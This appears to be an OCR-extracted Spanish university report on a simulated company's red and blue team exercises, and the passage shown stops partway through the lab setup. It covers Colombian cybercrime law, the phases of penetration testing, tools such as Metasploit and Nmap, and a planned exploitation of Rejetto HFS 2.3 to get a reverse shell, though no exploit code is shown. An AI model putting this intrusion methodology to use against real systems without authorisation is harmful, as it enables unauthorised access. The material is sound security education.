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RESUMEN

En el desarrollo de los escenarios, pudimos iniciar con los aspectos éticos y legales,
gue se pueden llegar a observar en las contrataciones, acuerdos de confidencialidad
o también en casos relacionados con el ambito de salvaguardar la informacién. Y
para esto es claro que se debe conocer la legalidad en el actuar profesional, aca
validaremos las leyes que rigen la seguridad de la informacion, como también los
aspectos éticos que rigen a las profesiones de ingenierias. Iremos adquiriendo
experticia en temas relacionados con la aplicacion de la ética y las leyes que nos
rigen.

Se efectuara un modelo de laboratorio basado en maquinas virtuales, el cual sera
indispensable para la ejecucion de todos los escenarios de pentesting,
desarrollaremos y evaluaremos paso a paso un laboratorio de pentesting, desde el
perfil de un integrante de red team, realizando y siguiendo las etapas de intrusion al
sistema objetivo, donde podremos validar el comportamiento de las herramientas
que se seleccionaran para realizar los procesos de reconocimiento, escaneo,
explotacion y escalamiento de privilegios. Aca veremos y obtendremos una
experiencia en dichas actividades, que nos permitiran conocer e identificar posibles
vulnerabilidades que encontraremos a lo largo de nuestras carreras profesionales.
También realizaremos un analisis profundo sobre los procedimientos realizados, y
detallando el proceso de pentesting paso a paso con sus respectivas evidencias.
Después realizaremos actividades donde se pueden identificar las metodologias y
pasos que se siguen en la implementacién de auditorias, y procesos efectivos para
la ejecucion de actividades de un blue team. Claro que igualmente se toman
metodologias del pentesting ya que se debe tener un conocimiento claro de la forma
en que pueden afectar las vulnerabilidades de seguridad informatica y como se
realizan. También podremos aprender las principales caracteristicas y funciones del
SIEM que es la gestién de informacion y eventos de seguridad, también algunas
herramientas que podemos usar para la contencion de ataques informaticos.



TABLA DE CONTENIDO

RESUMEN ...t e et e e et e e e e et e e e e era e aaaees 3
TABAL DE ILUSTRACIONES. . ... e 7
LISTA DE ANEXOS ..ottt ettt e e e 9
GLOSARIO ...ttt ekttt e e e e e e e e 10
INTRODUGCCION .....ooviuiitiitiiete ettt ettt ettt ettt eaeneanas 12
OBUIETIVOS ...ttt ettt e e et e e e e e et e e e e nbbeeeeean 13
OBJETIVO GENERAL ...t e e e 13
OBJETIVOS ESPECIFICOS ...ttt e 13
DEFINICION DEL PROBLEMA ... ... 14
1.1. MONTAJE BANCO DE TRABAJO ..ottt 14
1.2, ANALISIS LEGAL ...ttt 14
1.3. ANALISIS RED TEAM .....couiiiiiieiieieeeeeeeeee ettt 15
1.4. ANALISIS BLUE TEAM ....coiiiiiieiiiieeee ettt 15
1.5, ANALISIS FINAL ..ottt ettt 16
INFORME TECNICO .....cciiiiiiiiiie ittt e e 17
2.1. MONTAJE BANCO DE TRABAJO ... 17
2.1.1. Analisis de la legislacion relacionada con delitos informaticos........... 17
2.1.2. Analisis sobre el ejercicio de Pentesting. .........cccccceevviiiiiiiiiiieeeeennnnnns 18

2.1.3. Explicacion de las herramientas y servicios utilizados en
CIDErSegUIIdAad: .......coiiiiiiiii 20

2.1.4. Evidencia de la implementacion del “banco de trabajo” en su entorno
local. 22

2.2, ANALISIS LEGAL .. .ottt e 28

2.2.1. Analisis de los anexos Escenario 2 y Acuerdo desde el punto de vista
(€A1 Y NO BLICO. ..uveiiiii e e e aana 28

2.2.2. Analisis de los anexos, en relacion a la vulneracion de la ley 1273
argumentando cualquier proceso ilegal..........ccccooiiiiiiiiiiiiiii 29

2.2.3. Analisis de la propuesta laboral, teniendo presente en cuenta la revision
desde el punto de vista legal y €tiCO.........ccoieiiiiiiiiiiiiiiee e 30



2.2.4. Andlisis del caso “OPERACION ANDROMEDA BUGGLY” desde su

posicion teniendo en cuenta los aspectos legales y éticos..........cccceeeeeeeerennnns 31
2.3. ANALISIS RED TEAM ...t 32
2.3.1. Informe de herramientas y procedimientos utilizados para dar solucién
al escenario de Red Team de acuerdo a los pasos del pentesting. ................ 32
2.3.2. Informe con analisis del caso de Red Team, que permitié dar solucién
al fallo IdentificadO. ........oeeeeiiiie e 39
2.3.3. Informe de herramientas utilizadas para dar identificar fallos en el
LYot g = U To I o] (o] o1 U L= (o JR 40
2.3.4. Analisis del ataque presentado a cada una de las maquinas
o ]=] 0101 [or=To = USRS 40
2.3.5. Informe de la explotacion de vulnerabilidades en el escenario
0T 0T8T (o PP 41
2.4. ANALISIS BLUE TEAM ..ottt 46

2.4.1. Analisis con acciones necesarias para contener un ataque en tiempo
real. 46

2.4.2. Informe de acciones de hardenizacion a implementar para evitar que
sucedan ataques de seguridad informatica. ............ccceeeeeieeeiiiiiiiicii e 47

2.4.3. Analisis sobre las diferencias entre el equipo de Blue Team y el equipo
de respuesta a incidentes INfOrMALICOS. ..........ccoovviiiiiiiiiii e, 47

2.4.4. Analisis sobre la pertinencia de trabajar con CIS “Center For Internet
Security” como propuesta de aseguramiento por parte de un equipo de Blue
Team. 48

2.4.5. Analisis sobre las funciones y caracteristicas principales de un SIEM.
48

2.4.6. Informe de eleccién de 3 herramientas que permitan contener ataques
INFOIMALICOS. .o 49

2.5. ASPECTOS QUE APORTEN AL DESARROLLO DE ESTRATEGIAS DE
REDTEAM & BLUETEAM ... 50

2.6. RECOMENDACIONES PARA EL PLANTEAMIENTO DE ESTRATEGIAS
QUE PERMITAN ENDURECER LOS ASPECTOS DE SEGURIDAD EN UNA

ORGANIZACION ...ttt an . 51
2.7. CONCLUSIONES QUE PERMITAN LA CONSTRUCCION DEL
CONOCIMIENTO DESDE EL ENFOQUE DE LA CIBERSEGURIDAD.............. 51
CONCLUSIONES ...t e e e e e e e e e eeeenes 53



REFERENCIAS
BIBLIOGRAFIA



TABAL DE ILUSTRACIONES

llustracion 1 Etapas de PeNteStING .........civieeeiiieieiiiie e 18
llustracion 2 Pagina web de virtual DOX............coouuiiiiiiiiiiiee e 22
llustracion 3 Ejecucion del programa virtual boX...........ccooovviviiiiiiiiiiiieeecec e, 23
llustracion 4 importacion de las maquinas virtuales.............cccceeeiieeeeeeeveeiiccee e, 23
llustracion 5 Funcionamiento de las 3 maquinas virtuales..............ccccevvvvviceneeeennn. 24
llustracion 6 Prueba de conexion entre maquinas Windows............cccuveeeeeeeeennnnnne 25
llustracion 7 Firewall deshabilitado para prueba de ping ........c.cccooiiiiiiiienneennnnne 25
llustracion 8 Pruebas ping desde Kali LINUX .......ccoooiiiiiiiiiiiiieeiiiiieeeee e 26
llustracion 9 Configuracion hardware maquina Windows 7 32bitS..........ccccceeeenne. 27
llustracion 10 Configuracion hardware maquina Windows 7 64bits..................... 27
llustracion 11 Configuracion hardware maquina Kali LinuX ............cccccvveeeeinernnnnn. 28
llustracion 12 Informacion sobre rejetto en www.exploit-db.com...........ccccceeene. 32
llustracion 13 EXploit SEIECCIONAUO ..........cuuviiiiiieiee e 33
llustracion 14 Creacion de espacio de trabajo en metasploit..............cccccceeeeernnnnee 33
llustracion 15 Escaneo del host ODJEtiVO..........eeiiiiiiiiiiiii e 34
llustracién 16 Busqueda de vulnerabilidades con NeSSUS .........cccccvvvvvveveveeeeeeeennnn, 34
llustracion 17 Buscando mas detalles del host ..., 34
llustracion 18 Busqueda de vulnerabilidades con NMAP..........cccoooeevvvvviiiiiiineeeenn, 35
llustracion 19 Busqueda de vulnerabilidades...............cccovvvviiiiiiiiiiccceceeee e, 35
llustracion 20 Opciones del eXPloit ..........coooeriiiiiiiii e 36
llustracion 21 Configuracion de host ObJetiVo ..........ccccceeviiiiiiiiiiieee e, 36
llustracion 22 Explotando vulnerabilidad..............cccoooiiiiiiiiiiic e, 37
llustracion 23 Comando para abrir ventana de comando windows........................ 37
llustracion 24 Comando para crear usuario €n WiINAOWS .........cccoeeeeeeeevieiviiineeeenn. 37
llustracion 25 Asignar grupo al usuario Creado ...........cceevvvvevvviiiiiieeeeeeeeeeie e, 38
llustracion 26 Consulta de usuarios del ObJetiVO ...........ccoovvviiiiiiiii i 38
llustracion 27 Validacion en el hoSt ObJetiVO .........vviiiiiiiiiiic e 38
llustracion 28 Elevacion de privilegios ...........uueeieieeeiiiiiiiiiiiiieee e 39
llustracion 29 Ventana de comando con privilegios .............ceeveeeeiiiiiiiiiiieeeeeeeneene 39
llustracion 30 Grafica del ataqUE ..........cooiiiiiiiiiiiie e 40
llustracion 31 Aplicacion HFS (rejetto) V2.3 .....ooooviiiiiiiiiiiiiiiiiiiieeieeeeeeeeeeeeeeeeeeeeeee 41
llustracion 32 Scaneo del host ODJetiVO............coovviiiiiiiiii 41
llustracion 33 Analisis de la maquina WINdOWS 7 .........ccoevvviiiiiiiiiiiiiiiiiiiiiieeeeeeeeeee 42
llustracion 34 Busqueda de vulnerabilidades con NMAP.........cccooeeviviviiiiiiiinneeeen, 42
llustracion 35 Busqueda de vulnerabilidades..............cccovveviiiiiiiiiiieecceeeecee e 42
llustracion 36 Opciones del eXplOit .........coovviiiiiiiiiiiiieee 43
llustracion 37 Configuracion de host ODJEtIVO .........covvvvviiiiiiiiiiiiiiiiieeeeeee 43
llustracion 38 Explotando vulnerabilidad..............cccoooiiiiiiiiiiiiiiee e, 43



llustracion 39 Comando para abrir ventana de comando windows........................ 44

llustracion 40 Comando para crear usuario €n WINAOWS .........ccoeveeeeevereeivnnniineeeenn. 44
llustracion 41 Asignar grupo al usuario Creado ...........cceevvveevriiiiiiieeeeeeeeeiie e 44
llustracion 42 Consulta de usuarios del ObJetiVO ...........cccovvviiiiiiiiiiiccceeee e, 44
llustracion 43 Validacion en el hoSt ODJEtIVO .........veeiiiiiciiic e, 45
llustracion 44 Elevacion de privilegios .........ccouvvviiiiiiiii e 45
llustracion 45 Ventana de comando con privilegios.............cuuveiiiieeereeeeeiiiiiin e, 46



LISTA DE ANEXOS

ANEXO A Video de SUSIENTACION. .. ... et

Anexo B Validaciéon Turnitin



GLOSARIO

Blue team: es el equipo de seguridad que defiende a las organizaciones de ataques
de una manera proactiva.t

Ciberseguridad: es el conjunto de procedimientos y herramientas que se
implementan para proteger la informacion que se genera y procesa a través de
computadoras, servidores, dispositivos mdviles, redes y sistemas electrénicos.?

Copia forense: es generar una copia digital exacta, de un medio de
almacenamiento, la cual se realiza bit a bit, para mantener todas las caracteristicas
del original.

Exploit: es un cddigo que realiza un atague explotando una vulnerabilidad en un
sistema.

Maquina virtual: es un software que simula un entorno de hardware fisico, creando
una computadora virtual con las mismas funcionalidades que una fisica.

Opensource: Es el software que esta disefiado para que pueda ser usado por
cualquiera, se puede ver, modificar y distribuir.

Red team: emulan a los atacantes, utilizando sus mismas herramientas o similares,
explotando las vulnerabilidades de seguridad de los sistemas y/o aplicaciones
(exploits), técnicas de pivoting (saltar de una maquina a otra) y objetivos (sistemas
y/o aplicaciones) de la organizacion.?

Rejetto: es un programa que permite el enviod y la recepcion de archivos.

Shell: Es sencillo, una shell es un programa informatico que puede servir como
interfaz con los servicios del sistema que éste nos proporcione.

Virtualbox: es un potente producto de virtualizaciéon x86 y AMDG64 / Intel64 para uso
empresarial y doméstico.*

Meterpreter: en un payload que nos ofrece la Shell por excelencia obteniendo una
gran flexibilidad a la hora de realizar la post explotacion, ademas hay que saber que

1 (UNIR, 2021)

2 (INFOSECURITY, 2021)
3 (UNIR, 2021)

4 (ORACLE, 2021)
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la comunicacion entre meterpreter y la maquina remota (atacante) es via SSL, lo
que significa que la informacién que viaje entre las dos maquinas estara cifrada. °

5 (SECURITY TWINS, 2021)
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INTRODUCCION

Inicialmente conoceremos las leyes que se encuentran reglamentadas en la ley
colombiana, referentes a los delitos informaticos, y la proteccién de los datos
personales, como también a las bases de pentesting — pruebas de penetracion, el
cual ser refiere a metodologias para el hacking ético, esto basado en la ejecuciéon
de las etapas de andlisis que se realizan al ser parte de un red team, veremos las
herramientas usadas para este tipo de actividades y con el desarrollo de los
laboratorios podremos comprender la importancia de la ley y los métodos de
mitigacion de riesgos informaticos enfocados a la evaluacion de los sistemas de
seguridad que se tienen en las empresas.

Profundizaremos en el estudio de las normas éticas que rigen a los ingenieros en
general y sus profesiones a fines, todo esto mediante el andlisis de casos de
estudio, y la aplicacién de las normas establecidas, que nos permitiran identificar
las buenas préacticas que se deben llevar en las diferentes actividades que
realicemos.

En el desarrollo de este informe tendremos la posibilidad de generar experiencias
asociadas a la seguridad informética, dandonos bases para poder proseguir con la
adquisicién de conocimientos en este ambito profesional. Teniendo claras las
metodologias que se aplican, como también conocer estandares y normas que se
aplican, como las herramientas de software que podemos utilizar bajo
licenciamiento libre.

Tendremos que complementar todos los escenarios para poder identificar
claramente, los aspectos de seguridad que rodean las actividades de un red team y
un blue team, y plantear las acciones que conlleven a mejorar la seguridad de
Whitehouse, todo estara planteado en este informe final, donde tendremos paso a
paso todas etapas de estas actividades.

12



OBJETIVOS

OBJETIVO GENERAL

Generar un informe con todas las caracteristicas y detalles, que se desarrollaron
para darle solucion a los problemas de seguridad que presenta la compafia
WhiteHouse, dando los resultados del analisis, pruebas, y demas desarrollos
que se realizaron sobre los diferentes escenarios que teniamos que validar,
como también identificar los ambitos legales que puedan aplicar a estos.

OBJETIVOS ESPECIFICOS

e Tener claroy documentado que leyes colombianas existen actualmente para
combatir los delitos informaticos y salvaguardar los datos personales.

e Analizar el escenario a investigar desde el ambito de Red team, e identificar
las vulnerabilidades que se puedan detectar, teniendo en cuenta las etapas
del pentesting.

e Documentar el uso de las herramientas de software, con licenciamiento libre
gue sirven para realizar las etapas del pentesting.

e Ejecutar un andlisis desde el &mbito de Blue team, y poder identificar las
vulnerabilidades que se estan explotando en un escenario controlado.

e Presentar software que facilite el monitoreo y mejore los niveles de
seguridad basandonos en las actividades de Blue team, con licenciamiento
libre.

e Presentar un informe detallado que pueda sustentar todos hallazgos que se
analizaron en las diferentes actividades realizadas.

13



1. DEFINICION DEL PROBLEMA

1.1.MONTAJE BANCO DE TRABAJO

The WhiteHouse Security requiere previamente una instalaciéon de un banco de
trabajo con el cual el personal postulado a hacer parte de la organizacion debera
utilizar en una serie de escenarios y problemas complejos al interior de The
WhiteHouse Security. El banco de trabajo debe estar basado en herramientas
software Opensource, la recursividad sera vital en este proceso.

De manera simultanea The WhiteHouse security requiere conocer por medio de
una serie de preguntas orientadoras el estado inicial o base del conocimiento de
los aspirantes en cuanto a temas de Ciberseguridad, al resolver estas preguntas
la organizacion podra tener una perspectiva global de sus futuros empleados.®

1.2. ANALISIS LEGAL

La organizacion WhiteHouse Security es una organizacion con reconocimiento
a nivel mundial por asesorar a grandes Gobiernos en procesos de
ciberseguridad y ciberdefensa logrando posicionarse como la organizacion mas
importante en el campo de la seguridad informatica a nivel mundial, la
organizacion ha decidido que es hora de conformar equipos de Red team y Blue
team dentro de su estructura funcional para aumentar los protocolos de
seguridad al interior de esta.

Para dar inicio, la organizacién WhiteHouse Security hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue
elaborado por un abogado que ya no labora con la organizacién y fue despedido
por encontrar algunos procesos ilicitos. La alta gerencia no reviso los contratos
con los que se reclutara el nuevo personal, por ende, los contratos son
entregados sin modificacion alguna; ante este evento la gerencia solicita tener
suma precaucion antes de firmar el contrato y acuerdos de confidencialidad
estipulados para el fin de contratacion de personal, sin embargo la organizacion
aprovecha una serie de problemas que ha identificado en su interior y como
prueba de admision al equipo Red team y Blue team deciden clasificar una
primera mision a la cual deberian dar respuesta en poco tiempo y trabajar bajo

6 (QUINTERO, UNAD, 2021)
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presién “caracteristica” de estos equipos. También debera proyectar la
instalacion de dos maquinas virtuales por medio de virtualbox para poder
ejecutar las sesiones de pruebas en las actividades posteriores.’

1.3.ANALISIS RED TEAM

La primera mision del equipo Red team es lograr identificar porqué medio o
proceso se esta generando una serie de fuga de informacion la cual se presenta
al interior de la organizacion en uno de sus equipos de cOmputo en la
dependencia. La informacion inicial con la que cuenta el equipo es que la
maquina donde se esta generando la fuga de informacion tiene instalada una
aplicacion llamada rejetto v. 2.3 bajo un Windows 7 con arquitectura X64; esta
aplicacion al parecer tiene asociado un exploit que puede terminar en una Shell
reversay una sesion abierta de meterpreter. Dentro de la investigacion también
se investiga un escalamiento de privilegios por medio de la creacién de un
usuario tipo administrador del sistema.

El equipo de forense genera una copia del servidor y esta es entregada a usted
como experto, debe validar la posible falla de seguridad y si esta es explotada
debe crear un usuario con su primer nombre y primer apellido, el usuario debe
ser administrador esto con el fin de demostrar una PoC ante los altos directivos.®

1.4.ANALISIS BLUE TEAM

WhiteHouse Security solicita a sus integrantes de Blueteam contener y sacar
adelante un ataque informatico el cual se esta produciendo en tiempo real. La
maquina que se debe analizar es la Windows 7 X64 analizada en la actividad
anterior. La organizacion requiere un analisis exhaustivo de lo que esté
sucediendo a nivel técnico “sistema operativo, red”, con la informacion
recolectada se espera que dentro de su grado de experticia usted como miembro
de un equipo Blue team logre contener el ataque para evitar que se genere mas
dafio a nivel interno de la organizacion. WhiteHose Security le informa que no
existe presupuesto para hacer uso de herramientas de pago, por ende, el

7 (QUINTERO, UNAD, 2021)
8 (QUINTERO, UNAD, 2021)
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experto en Ciberseguridad debera optar por una serie de herramientas minimo
con licencia GPL.°

1.5. ANALISIS FINAL

The WhiteHose Security desea un informe técnico donde se plasme el proceso
de los escenarios propuestos en cada una de las acciones como Blue team, Red
team y aspectos legales que logré usted como experto en Ciberseguridad dentro
del periodo de prueba de la organizacion. El informe es solicitado para ser
analizado por los analistas Seniors en Seguridad con los que cuenta WhiteHouse
Security, esto ayudara al proceso de seleccion de los expertos que haran parte
de esta prestigiosa organizacion.?

9 (QUINTERO, UNAD, 2021)
10 (QUINTERO, UNAD, 2021)
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2. INFORME TECNICO

2.1.MONTAJE BANCO DE TRABAJO

En el informe técnico tenemos diferentes escenarios, con los cuales WhiteHouse
quiere validar nuestros conocimientos y experticia en el tema de seguridad
informatica, los cuales debemos analizar y solucionar.

2.1.1. Analisis de la legislacion relacionada con delitos informaticos.

En primera instancia existe el cdédigo penal colombiano el cual se establecié
con laley 100 de 1980, bajo esta ley se tomaron las primeras medidas contra
el uso de informacién sin tener una previa autorizacién del titular, como
también el uso de esta informacién para fines delictivos o dafiinos.

Este cddigo penal tuvo un ligero ajuste en cuanto a los delitos informaticos,
velando por la proteccion de los sistemas de comunicaciones que existian en
la época en que se implemento la Ley 1032 de 2006, la cual tipificaba como
delito el acceso o uso ilegal de los servicios de telecomunicaciones, o la
prestacion de estos sin las debidas autorizaciones.

Bajo la jurisdiccion colombiana, se rige una ley que abarca las diferentes
infracciones que conllevan a un delito informéatico, esta ley es la 1273 de
2009, la cual esta direccionada a salvaguardar la integridad de las
tecnologias de la informacion y las comunicaciones.

Estos son los articulos que caracterizan esta ley:

e Articulo 269A: Acceso abusivo a un sistema informatico.

e Articulo 269B: Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion. Articulo 269C: Interceptacion de datos informaticos.

e Articulo 269D: Dafio Informético.

e Articulo 269E: Uso de software malicioso.

e Articulo 269F: Violacion de datos personales.

e Articulo 269G: Suplantacién de sitios web para capturar datos personales.

e Articulo 269H: Circunstancias de agravacion punitiva.

e Articulo 269I: Hurto por medios informaticos y semejantes.

e Articulo 269J: Transferencia no consentida de activos.*!

11 (CONGRESO DE LA REPUBLICA, 2009)
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De igual forma a través del decreto 1377 de 2013 parcialmente se reglamento
la ley 1581 de 2012 que vela por la proteccion de los datos personales, estos
datos requieren previa autorizacion para su manipulacion o almacenamiento
ya sea en sistemas de informacion o archivos, también es facultad del
propietario de dichos datos la opcion de conocer, rectificar o suprimir la
informacion que haya sido registrada sobre ellos.

2.1.2. Analisis sobre el ejercicio de Pentesting.

Un pentesting (prueba de penetracion) o también una auditoria consiste en
la realizacién de ciertas pruebas ofensivas contra los sistemas de seguridad
gue existen en la estructura analizada, estas van desde un analisis de
dispositivos hasta el del factor humano por medio de ingenieria social. Todas
estas pruebas van enfocadas a identificar posibles vulnerabilidades y peligro
de seguridad asociados, claro posteriormente se deben implementar y
corregir estas posibles vulnerabilidades, todo esto asociado a las
metodologias existentes Ec-Council, OSSTMM y pruebas de efectividad.
Antes de todo, debemos tener una previa autorizacion por parte del cliente
para realizar estas actividades, donde se evalla el nivel de intromisién
permitido por parte de la prueba, como también la permisividad de los
ataques, y el enfoque de esta prueba.

Estas son las etapas o fases que se deben abarcar en el momento de realizar
una prueba de penetracion:

llustracion 1 Etapas de pentesting

Fases de un proyecto de Pentesting
(2 T 4 st
&0 s 4 A
o Reconocimiento e Explotacion e Informe

Fuente: Propia.
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2.1.2.1. Etapa de reconocimiento

Esta es la fase de reconocimiento donde se implementan métodos no
invasivos, como ingenieria social, busqueda de documentacion publica
gue se pueda encontrar en la pagina corporativa, redes sociales donde
tenga interaccion la empresa a evaluar, también consulta de noticias. A
través de estos ejercicios recolectamos informacion en la que nos
podamos apoyar para las posteriores etapas.

2.1.2.2. Etapa de analisis de vulnerabilidades

En esta etapa podemos dividir las actividades en 2 momentos, el primero
sera el escaneo de puertos, servicios y SO, y luego tendremos
identificacion y analisis de vulnerabilidades.

e [Escaneo de puertos, servicios, SO: Esta actividad como su nombre lo
indica esta orientada a detectar todos los host y servicios que se
encuentren activos en la red analizada, también tendremos en cuenta
informacion precisa de los servicios y software que manejen los hosts,
como sistemas operativos, puertos abiertos, datos de hardware, etc.
Una de las herramientas mas utilizada para esta actividad es el NMAP
gue tiene practicas funciones, este es un ejemplo.

e Andlisis de vulnerabilidades: En este proceso se inicia con en analisis
de la informacion recaudada en las anteriores actividades, donde
podemos profundizar el andlisis de los dispositivos identificados con
otras herramientas como Nessus u OpenVas, y tener un panorama
completo de cuales vulnerabilidades podemos explotar. Estas
aplicaciones se enfocan en inspeccionar los puertos, los servicios y
también en categorizar las vulnerabilidades encontradas, de esta
forma tendremos una conveniente investigacion sobre cada 1 de los
hosts analizados. permitiendo tener informes de los hosts que han sido
analizados y el numero de vulnerabilidades encontradas.

2.1.2.3. Fase de Explotacion de vulnerabilidades
Esta es una de las etapas preferidas, ya que con los resultados obtenidos
se procedera a conseguir acceso a los sistemas de la empresa objetivo,

pero antes de esto debemos tener una planeacion o estructura de la
explotacion, teniendo en cuenta los tipos de vulnerabilidades
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encontradas, podemos verificar si existen exploits contra lo descubierto,
0 usar las credenciales obtenidas.

También debemos tener muy clara la afectacion de los métodos que
usemos para explotacion de las vulnerabilidades ya que esto es una
prueba de penetracion y no queremos afectar la operabilidad de la
empresa.

Teniendo claro estos, seleccionamos la herramienta y los exploits,
lanzamos la herramienta Metasploit, recolectamos las evidencias de la
explotacion con el informe y las capturas realizadas.

2.1.2.4. Fase Elevacion de privilegios o Post-explotacion.

En esta etapa buscamos, encontrar permisos de administracion sobre lo
ya vulnerado o indagar si podemos llegar a otros sistemas no alcanzados
inicialmente, esto mediante técnicas de pivoting u otras.

Nos debemos basar en la recopilacion de todas las evidencias que
pudimos encontrar y en valorar los impactos que puede generar la
intrusion real y hasta qué punto se puede ingresar en los sistemas
vulnerables

2.1.2.5. Fase de Informe

En esta etapa como su nombre lo indica, es en la que mostramos a
nuestro cliente todas las actividades realizadas con sus respectivos
resultados, desencadenando en reportes ejecutivos y técnicos, que
permitan dar a entender a la parte gerencial los posibles riesgos y su
valoracion, como también a la parte técnica, darles a conocer sus
falencias, y que conozcan todas sus vulnerabilidades explotadas, para
realizar los correctivos Optimos que permitan mejorar sus niveles de
seguridad. Como valor agregado se da a conocer las contramedidas que
debe implementar la empresa para mitigar sus riesgos.

2.1.3. Explicacion de las herramientas y servicios utlizados en
ciberseguridad:

2.1.3.1. Herramientas:
e Metasploit: es una herramienta de validacion de vulnerabilidad y
explotacion, muy usada para pruebas de penetracidon en secciones

manejables. Existe la version pagay la libre, la paga te presenta unas
opciones de crear proyectos de trabajo, donde se independizan areas
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de trabajos por medios de agrupaciones logicas. A menudo, tendra
diferentes requisitos para las distintas subredes de una organizacion.
Por lo tanto, puede resultar eficaz tener varios proyectos para
representar esos requisitos. La version gratuita Metasploit framework
Community, es muy similar, pero limitada, en su repertorio podemos
encontrar la opcién de ejecutar y crear exploits contra sistemas
objetivos, con diferentes herramientas orientadas a la seguridad.

¢ NMAP: Es una herramienta de codigo abierto que permite el escaneo
de la red y auditoria de seguridad, muy usada para monitore de la red,
validando inventarios o supervision de la actividad de los hosts o de
un servicio, NMAP usa paquetes IP sin procesar para determinar si los
hosts se encuentran disponibles en la red, también los servicios en los
hosts identificados (nombre y version de la aplicacion), versiones del
sistema operativos y decenas de otras caracteristicas. Esta disefiado
para funcionar en redes grandes, pero es muy eficiente con host
anicos, también es multiplataforma. También descubre caracteristicas
del hardware de red del host objetivo.

e OpenVas: OpenVAS es un escaner de vulnerabilidades con todas las
funciones. Sus capacidades incluyen pruebas autenticadas y no
autenticadas, varios protocolos industriales y de Internet de alto y bajo
nivel, ajuste del rendimiento para escaneos a gran escala y un
poderoso lenguaje de programacién interno para implementar
cualquier tipo de prueba de vulnerabilidad. El escaner obtiene las
pruebas para detectar vulnerabilidades de un feed que tiene un largo
historial y actualizaciones diarias.!?

2.1.3.2. Servicios en linea:

e ExploitDB: La base de datos de exploits es un archivo compatible con
CVE de exploits publicos y el software vulnerable correspondiente,
desarrollado para su uso por probadores de penetracién e
investigadores de vulnerabilidades. Nuestro objetivo es servir la
coleccion mas completa de exploits recopilada a través de envios
directos, listas de correo y otras fuentes publicas, y presentarlas en
una base de datos de facil navegacion y disponible de forma gratuita.
La base de datos de exploits es un repositorio de exploits y pruebas

12 (Greenbone, 2021)
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2.1.4.

de conceptos en lugar de avisos, lo que la convierte en un recurso
valioso para quienes necesitan datos procesables de inmediato.?

CVE: La mision del Programa CVE es identificar, definir y catalogar
las vulnerabilidades de ciberseguridad divulgadas publicamente.'4
Es claro que este programa ayuda teniendo un registro de las
vulnerabilidades que ellos mismo catalogan, y toda la informacion que
se considere importante es publicada para que el cualquier personay
las organizaciones puedan tener una descripcion clara de la
vulnerabilidad que investigan, es muy importante esta labor ya que
permite mantener centralizada la informacion de las vulnerabilidades
y asi no perder tiempo en identificar las caracteristicas de las
vulnerabilidades.

Evidencia de la implementacion del “banco de trabajo” en su entorno

local.

2.1.4.1. Paso A: Descargar la herramienta virtualizadora “VirtualBox” en

su Ultima version

Se realiza descarga de la Gltima version de virtual box.

llustracion 2 Pagina web de virtual box

i oracie

-

VM VirtuslBox x|+

C @ O B hitps//wwwirtualbor.org o ® &+ Ih D ® t w =

fﬂ VirtualBox

About

End-user docs
Technical docs
Contribute

Download

Comm

Welcome to VirtualBox.org!

VirtualBox is a powerful X86 and AMDG4/Intel
high performance product for enterprise cust
thee GNU Gener:

ell as home use. Not only is VirtualBox an extremely feature rich, —
n that is fraely available as Open Source Software under the terms of

releases

requent and has
a dedicated company: everyone Is encouraged t

g2

VirtualBox 6.1

Hot picks:
« Pre-built virtual machines for developers at = Oracle Tech Netwark
+ Hyperbox Open-source Virtual Infrastructure Manager — project site
+ phpVirtualBox AJAX web interface = project site

[==

Contact - Privacy policy - Terms of Use

Fuente: Propia.

13 (Offensive Security, 2021)

14 (CVE, 2021)
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e Se ejecuta virtual box para iniciar el montaje de las maquinas virtuales.

llustracion 3 Ejecucion del programa virtual box
W o Adrinistrador

Fuente: Propia.

2.1.4.2. Paso B: Una vez se realice apertura del foro para el desarrollo
de la actividad se procedera a compartir enlace de descarga de lo
requerido para el montaje del banco de trabajo, las imagenes en
formato. OVA las cuales se encuentran ya preconfiguradas para ser
utilizadas en las actividades de caracter técnico. En las imagenes.
OVA existe: Un windows 7 X86, un windows 7 X64, un Kali Linux.

e Las 3 maquinas virtuales en linea.

llustracion 4 importacion de las maquinas virtuales
!f’ Oracle VM VirtualBox Administrador — [m] %

Archivo Maqguina Ayuda
IO >~ {:; I
o Vil IRy |

Preferencias  Importar Exportar  Nueva Afiadir

 pruebas iBienvenido a VirtualBox!

La parte izquierda de esta ventana contiene herramientas glabales y una lista de todas las
. [ESISeg. DB maquinas virtuales y grupos de maquinas virtuales en su computadera. Puede importar,
afiadir y crear nuevas MVs usando los botones carrespondientes de Ia barra de herramientas.
|oalZ 3 : Puede abrir un «popup» del elemento seleccionado actualmente usando el botdn de elementa
(| Win7-SE2020-X64 correspondiente. Puede presionar Ia tecla F1 para obtener ayuda instantanea o visitar
(7] <> corriendo

vovvevirtualbox.org para mas 6n y las (itimas noticias.
E’ win7-SE2020
[ 7] < coriendo

—- Kali- Linux-2021.2-virtualbox-amd64
) =) corriendo

Fuente: Propia.
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llustracion 5 Funcionamiento de las 3 maquinas virtuales

me . 0 @ Hm|

ﬂ P Escribe aqui para buscar

Fuente: Propia.

2.1.4.3. Paso C: Debe validar que exista comunicacién entre cada una
de las méquinas Windows con la maquina de Kali Linux, recuerde
por favor no encender las tres maquinas al tiempo ya que puede
colapsar los recursos hardware de su equipo host, encienda
primero una maquina Windows y posterior a ello encienda la
maquina Kali Linux.

e Se creared interna con direccionamiento manual.
Comunicacion entre maquinas Windows. Ping desde Windows 7 X86 (IP

192.168.0.100) a Windows 7 X64 (IP 192.168.0.101) se deshabilita el
firewall para que funcione el ping.
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llustracion 6 Prueba de conexidn entre maquinas Windows
% win7-SE2020 [Corriendo] - Oracle VM VirtualBox — O X

¥ Estado de Conexién de area local

Detalles de Ia conexion de red

Detalles de la conexsén de red
| Propiedad Valor
| Sufio DNS especificop.
Descripcién Adaptador de escritorio Intei(R) PRO/100
Direccion fisica 06-00-27-14-88-52
Habitado para DHCP No
Direccién 1Pv4 192.168.0.100
Mascara de subred [Pv4  255.255.265.0
Puetta de enlace predet
Servidor DNS IPv4
Servidor WINS IPv4
Habitado para NetBios .. Si
Vinculo: dreccidn IPv61... fe80:9c6a:c212b2c7d64%11
Puerta de enlace predet
Servidores DNS IPv6 fecO:0:0f::1%1
fecO:0:04#::2%1
fecO:0:0##f::3%1

Fuente: Propia.

Ping desde Windows 7 X64 (IP 192.168.0.101) a Windows 7 X86 (IP
192.168.0.100.

llustracién 7 Firewall deshabilitado para

Detalles de la conexion de red [=]
@@v @ <« Todos los elementos de Panel de control » Firewall de Windows T4 Detales de I conexibn de od:
